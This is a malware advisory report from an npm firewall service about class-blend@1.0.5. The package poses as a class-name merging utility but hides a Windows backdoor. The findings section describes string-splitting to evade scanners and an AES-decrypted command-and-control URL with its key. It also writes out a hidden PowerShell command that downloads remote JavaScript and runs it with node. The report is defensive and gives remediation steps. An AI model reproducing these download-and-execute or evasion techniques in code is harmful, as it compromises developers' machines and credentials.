---
canonical: "https://firewall.lpm.dev/npm/class-blend"
markdown: "https://firewall.lpm.dev/npm/class-blend/report.md"
package: "class-blend"
report_status: "published"
title: "class-blend@1.0.5 npm security report"
verdict: "malicious"
version: "1.0.5"
---

# class-blend@1.0.5 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked by malware advisory** — OpenSSF/OSV malware advisory MAL-2026-4520 identifies this version as malicious and supplies the Firewall block.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Trusted malware advisory block
- **Public report status:** Published
- **Threat category:** Malware
- **Selected version:** 1.0.5
- **Selected version is latest:** Yes
- **Analysis source:** OpenSSF/OSV Malicious Advisory (OpenSSF/OSV)

OpenSSF/OSV malware advisory MAL-2026-4520 identifies this version as malicious and supplies the Firewall block.

OpenSSF/OSV advisory MAL-2026-4520 confirms this npm version as malicious. The package advertises itself as a clsx/twMerge-style class-name merging utility, but the exported applyGlobalStyles({palette, accents}) function contains a hidden Windows backdoor. dist/index.js dynamically imports node:crypto and node:child\_process via split-string concatenation (e.g., \["no","de",":","cry","pto"\].join("")) to evade static scanners...

## Latest scan
- **Scanner version:** external-osv-malicious-v1
- **Recorded final verdict:** Malicious
- **Recorded analysis confidence:** 100.0%
- **Started:** 2026-06-30T15:00:00.099Z
- **Finished:** 2026-06-30T15:00:00.099Z
- **Download time:** Not available
- **Static scan time:** Not available
- **AI review time:** Not available
- **Total time:** Not available

The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs.

## Security analysis

No additional public attack-surface or AI-review details are available.

## Affected versions and remediation

This report applies to class-blend@1.0.5.

The same advisory and Firewall decision cover these 4 recorded versions: 1.0.0, 1.0.1, 1.0.2, 1.0.5.

- Avoid installing class-blend@1.0.5. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

## Public findings

### 1. High: Osv Malicious Advisory
- **Category:** External Intel
- **Confidence:** 100.0%

The package advertises itself as a clsx/twMerge-style class-name merging utility, but the exported applyGlobalStyles({palette, accents}) function contains a hidden Windows backdoor. dist/index.js dynamically imports node:crypto and node:child\_process via split-string concatenation (e.g., \["no","de",":","cry","pto"\].join("")) to evade static scanners. It then uses a hardcoded 32-byte AES-256-CBC key assembled from an array of hex chunks (\["a7b80b01","7e76fb52","fa527621","f76027d2","19014dfc","a59b49ae","3db97ff3","ab4a72fa"\]) to decrypt a URL: the caller-supplied accents array is treated as the IV and the palette array is treated as ciphertext. The decrypted URL is passed to a hidden PowerShell invocation: powershell.exe -WindowStyle Hidden -NoProfile -Command "irm \<decrypted-url\> -o $env:TEMP\\s.js; node $env:TEMP\\s.js", spawned with {detached:true, stdio:'ignore', windowsHide:true}.unref(). Any consumer who imports class-blend and calls the documented applyGlobalStyles API on Windows will silently download and execute attacker JavaScript. The encrypted-URL design lets the attacker rotate the C2 endpoint by publishing new palette/accents values to users while leaving the package source unchanged. The combined fingerprint — split-string dynamic require, AES-decrypted C2 hidden in API arguments, hidden-window detached PowerShell, irm-to-node piping, and a total mismatch between advertised purpose and behavior — is unambiguously malicious.

## Dependencies and install lifecycle
- **Lifecycle scripts present:** No

- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** class-blend
- **Ecosystem:** npm
- **Version:** 1.0.5
- **Version published:** Not available
- **Package first seen:** 2026-06-30T15:00:00.099Z
- **Package last seen:** 2026-06-30T15:00:00.099Z
- **Known versions:** 4
- **Latest version:** 1.0.5
- **Appeal under review:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/class-blend>)
- [OpenSSF/OSV advisory](<https://osv.dev/vulnerability/MAL-2026-4520>)
- [PACKAGE](<https://www.npmjs.com/package/class-blend/v/1.0.2>)
- [PACKAGE](<https://www.npmjs.com/package/class-blend/v/1.0.0>)
- [PACKAGE](<https://www.npmjs.com/package/class-blend/v/1.0.5>)
- [PACKAGE](<https://www.npmjs.com/package/class-blend/v/1.0.1>)
